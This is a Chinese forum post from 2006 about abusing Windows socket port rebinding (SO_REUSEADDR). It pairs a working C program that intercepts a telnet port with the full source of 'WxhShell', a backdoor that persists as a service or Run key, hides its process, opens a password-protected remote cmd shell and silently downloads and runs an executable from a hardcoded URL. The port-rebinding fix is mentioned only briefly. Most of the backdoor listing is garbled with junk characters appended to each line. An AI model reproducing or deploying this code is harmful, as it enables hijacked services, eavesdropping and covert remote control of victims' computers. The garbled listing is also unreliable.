[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; OG 5n9sx
if(chr[0]==0xd || chr[0]==0xa) { rf1nC$Sop
pwd=0; !,\9,lc
break; n]coqJ
} /IV:JVT
i++; x)vYc36H
} 9LJ/m\bi
nhXa&Nro
// 如果是非法用户，关闭 socket rmQGzQnun
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /yrR f;}<O
} &[\rnJ?D
WM=kr$/3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >o>'@)I?e6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -07(#>
fBd +gT\S
while(1) { TJsT .DWW~
+S%@/q
ZeroMemory(cmd,KEY_BUFF); <)n
05pCgI}F>
// 自动支持客户端 telnet标准 Z@C D1+G
j=0; 6o A0a\G'
while(j<KEY_BUFF) { 9R;s;2$.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `(B1 "qRi
cmd[j]=chr[0]; 7P|(j<JX6'
if(chr[0]==0xa || chr[0]==0xd) { S8,+6+_7
cmd[j]=0; x|<|eRYK
break; &|E2L1
} EUna_ 4=
j++; gi;V~>kh
} !>S'eXt
x=au.@psBS
// 下载文件 V`fh,(:
if(strstr(cmd,"http://")) { l]v *h0!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rb#Z\e}e-
if(DownloadFile(cmd,wsh)) ]r"{G*1Q 9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s^KxAw_IV
else dnIBAe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g\*gHHa
} U;V. +onv
else { [sKdIw_
(vj2XiO^+
switch(cmd[0]) { zLh ~x
(c[h,>`@:
// 帮助 *.nqQhW
case '?': { /CA)R26G
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v@t*iDa?7
break; J$WIF&*0@
} =$`DBLX
// 安装 >2g CM
case 'i': { ? ! 1uw
if(Install()) H8-,gV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^~`8 - TE
else P^h2w%6'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7L-%5:1%
break; ryn)
} \GvVs
// 卸载 BgpJ;D+N4
case 'r': { g:o\r (
if(Uninstall()) nev*TYY?A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !w)Mm P Xb
else C,IN+@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gg.w-&
break; 9C4l@jrF
} r 2
// 显示 wxhshell 所在路径 ^c(PZ,/#JB
case 'p': { G0(c@FBK
char svExeFile[MAX_PATH]; E$ngmm[
strcpy(svExeFile,"\n\r"); g3Xz-
strcat(svExeFile,ExeFile); Y\%}VD2k
send(wsh,svExeFile,strlen(svExeFile),0); k Lv_P[I
break; f`IgfJN
} "rKIXy
// 重启 $&e(V6A@
case 'b': { xY~ DMcO?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,^<+5TYM7
if(Boot(REBOOT)) f$Ap\(.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Txfb-f!mv\
else { (bo bKr
closesocket(wsh); FQ-(#[
ExitThread(0); ]nQ$:%HP
} rL,)Tc|"
break; YwF6/JA0^
} (%P* rl
// 关机 `riv`+J{s
case 'd': { H_AV3 ;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VG8rd'Z
if(Boot(SHUTDOWN)) 5AjK7[<L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |@@mq!>-
else { Wig0OZj
closesocket(wsh); C3b'Q
ExitThread(0); 9=kTTFs
} \YKh'|04
break; PCLSY8N
} =:g^_Hy
// 获取shell hx2C<;s4
case 's': { 4KM$QHS5{
CmdShell(wsh); 4vX]c
closesocket(wsh); 9Y4N
ExitThread(0); asq/_`
break; {&<}*4D
} k0YsAa#6V
// 退出 ~o%-\^oc
case 'x': { O)5PUyC:H
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3w9 ]@kU
CloseIt(wsh); sTA/2d
break; =3zn Ta }
} K?;p:
// 离开 - dOT/%Ux
case 'q': { L$Leo6<3a
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :U:7iP:
closesocket(wsh); z\E"={P&
WSACleanup(); )4`Ml*7x
exit(1); <zf+Ii1:,
break; y="SzPl
} N*SgP@Bt
} /SUV'J)
} QlS5B.h,
Vd/S81/
// 提示信息 6_y|4!,:W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kR6 t .
} v\Wm[Ld
} j^ _I{
xk*3,J6BK
return; !Q(xOc9>Ug
} h/fCCfO,
kr*c?^b
// shell模块句柄 #w*pWD^
int CmdShell(SOCKET sock) lQsQRp
{ {.lF~cOu
STARTUPINFO si; E&>,B81
ZeroMemory(&si,sizeof(si)); ,SyUr/D
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fkz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B@;)$1-UT
PROCESS_INFORMATION ProcessInfo; jzj{{D[^
char cmdline[]="cmd"; Gtg)%`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KyyG8;G%
return 0; XsOOkf\_
} C^%zV>o
!1RV[b.8
// 自身启动模式 p\{+l;`
int StartFromService(void) l'W+^
{ lz)"zV
typedef struct [;=WnG
{ 0`!Q-G7
DWORD ExitStatus; baNfS
DWORD PebBaseAddress; ZW?7g+P
DWORD AffinityMask; UTTC:=F+
DWORD BasePriority; AIm$in`P
ULONG UniqueProcessId; jOb[h=B"
ULONG InheritedFromUniqueProcessId; & .?HuK
} PROCESS_BASIC_INFORMATION; ]hj1.V+
YSV,q@I&1
PROCNTQSIP NtQueryInformationProcess; *!'&:
mU=6"A0 U
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '!-?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; fl"y@;;#h
9 <KtI7
HANDLE hProcess; ~& 5&s
PROCESS_BASIC_INFORMATION pbi; Su"_1~/2S
lkfFAwnc
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gx*rSS?=N
if(NULL == hInst ) return 0; <!9fJFE
vs1Sh?O
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s3-ktZ@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N}Ks[2
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }iSakq'
,w%oSlOu
if (!NtQueryInformationProcess) return 0; z9ShP&^4[
eUkoVr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j/9QV
if(!hProcess) return 0; KupMndK
%EGr0R(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4VNb`!e
grQnV' q
CloseHandle(hProcess); olMO+-USP
DnHAm q]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <} yp
if(hProcess==NULL) return 0; +^kxFQ(:
,%h!%nz!
HMODULE hMod; O4/n!HOb
char procName[255]; &ZE\@Vc
unsigned long cbNeeded; ;x-H$OZX
(b%y$D
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S7kT3zB
2 1~7{#
CloseHandle(hProcess); b%;59^4AjD
JYd7@Msfc
if(strstr(procName,"services")) return 1; // 以服务启动 b;L>%;
}E5#X R
return 0; // 注册表启动 ay(!H~q_U
} )@qup _M@
(a}
// 主模块 fcICFReyV
int StartWxhshell(LPSTR lpCmdLine) W3/ 7BW`
{ 5)yOw|Bd
SOCKET wsl; ChTXvkdH
BOOL val=TRUE; ,iVPcza
int port=0; ]&:b<]K3
struct sockaddr_in door; nnE_OK!}T
h1XMx'}B
if(wscfg.ws_autoins) Install(); (.1 rtj
Q)S>VDLA
port=atoi(lpCmdLine); ,k~j6Z
umjhG6
if(port<=0) port=wscfg.ws_port; "]m*816'
v'@b.R,
WSADATA data; *sw-eyn(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ( f,J_
_Dj<Eu_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &G/|lv>j
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u<]mv
door.sin_family = AF_INET; XocsSs
door.sin_addr.s_addr = inet_addr("127.0.0.1"); f>r3$WKj
door.sin_port = htons(port); rer|k<k;]G
NQC3!=pQ}Y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \CK(;J
closesocket(wsl); JA)o@[lF
return 1; T^$g N|
} Taf n:Nw}
xP/OsaxN
if(listen(wsl,2) == INVALID_SOCKET) { sz/*w7
closesocket(wsl); ku9@&W+
return 1; nlzW.OLM
} j/9WOIfa
Wxhshell(wsl); \2Og>{"U
WSACleanup(); Xlv#=@;O]
-\kXH"%
return 0; e40udLH~x
@Y UY9+D&
} $J"%I$%X=
EqnpMHF
// 以NT服务方式启动 {pDTy7!Hs
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UP;Q=t
{ ivzAlwP
DWORD status = 0; hOPe^e"
DWORD specificError = 0xfffffff; d(fPECv(
>BNw
serviceStatus.dwServiceType = SERVICE_WIN32; cJ(BiL-uF
serviceStatus.dwCurrentState = SERVICE_START_PENDING; M XZq
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _BV`,`8}
serviceStatus.dwWin32ExitCode = 0; QqtC`H\
serviceStatus.dwServiceSpecificExitCode = 0; Hz?!BV0
serviceStatus.dwCheckPoint = 0; >z=Ou<,
serviceStatus.dwWaitHint = 0; r<*O
l"J*)P
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6F`qi:a+
if (hServiceStatusHandle==0) return; #JA}LA"l
pe()f/Jx(
status = GetLastError(); 2{ o0@
if (status!=NO_ERROR) [ -ISR7D
{ |2)Sd[q
serviceStatus.dwCurrentState = SERVICE_STOPPED; dEASvD'
serviceStatus.dwCheckPoint = 0; lC#RNjDp/~
serviceStatus.dwWaitHint = 0; G02ox5X
serviceStatus.dwWin32ExitCode = status; !4R>O6k
serviceStatus.dwServiceSpecificExitCode = specificError; 74K)aA
SetServiceStatus(hServiceStatusHandle, &serviceStatus); X JY5@I.
return; ^qxdmMp)l
} A&?}w_|9
x;]x_fz
serviceStatus.dwCurrentState = SERVICE_RUNNING; &%^K,Q"
serviceStatus.dwCheckPoint = 0; 6eQsoKK
serviceStatus.dwWaitHint = 0; \M5P+Wk'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lt1U+o[ot
} =<{h^-j;a
#{!O,`qD
// 处理NT服务事件，比如：启动、停止 -(*nSD9
VOID WINAPI NTServiceHandler(DWORD fdwControl) vwKw?Z0%J
{ [O2h-`
switch(fdwControl) +YTx
{ &Y1`?1;nw
case SERVICE_CONTROL_STOP: uBmxh%]C~
serviceStatus.dwWin32ExitCode = 0; *z0K%@M
serviceStatus.dwCurrentState = SERVICE_STOPPED; D(Qa>B"1
serviceStatus.dwCheckPoint = 0; W57&\PXYn
serviceStatus.dwWaitHint = 0; kMy<G8 s
{ 2H[ ; v+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p8=|5.
} Qyz>ZPu}sz
return; u4YM^* S.
case SERVICE_CONTROL_PAUSE: &Yp+k}XU
serviceStatus.dwCurrentState = SERVICE_PAUSED; Xo Y7/&&
break; @,k7xm$u
case SERVICE_CONTROL_CONTINUE: nfX12y_SXL
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2"@Ft()]
break; K;x~&G0=
case SERVICE_CONTROL_INTERROGATE: cw;co@!$
break; GR%{T'ZD`
}; b,dr+RB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~%s}S
} QY@u}&m%o
LM:)j:gS6
// 标准应用程序主函数 +Hj/0pp
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jYWw.g<
{ xO7Yt l
exQ#<x*
// 获取操作系统版本 &]< 3~6n
OsIsNt=GetOsVer(); cZ|lCy^
GetModuleFileName(NULL,ExeFile,MAX_PATH); [Ct=F|
asr=m{C"
// 从命令行安装 @`wn<%o$
if(strpbrk(lpCmdLine,"iI")) Install(); OV[`|<C '
> \3ah4"o
// 下载执行文件 &~#iIk~%
if(wscfg.ws_downexe) { D`VFf\7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Vclr2]eV4O
WinExec(wscfg.ws_filenam,SW_HIDE); EMlIxpCn:
} "jR]MZ
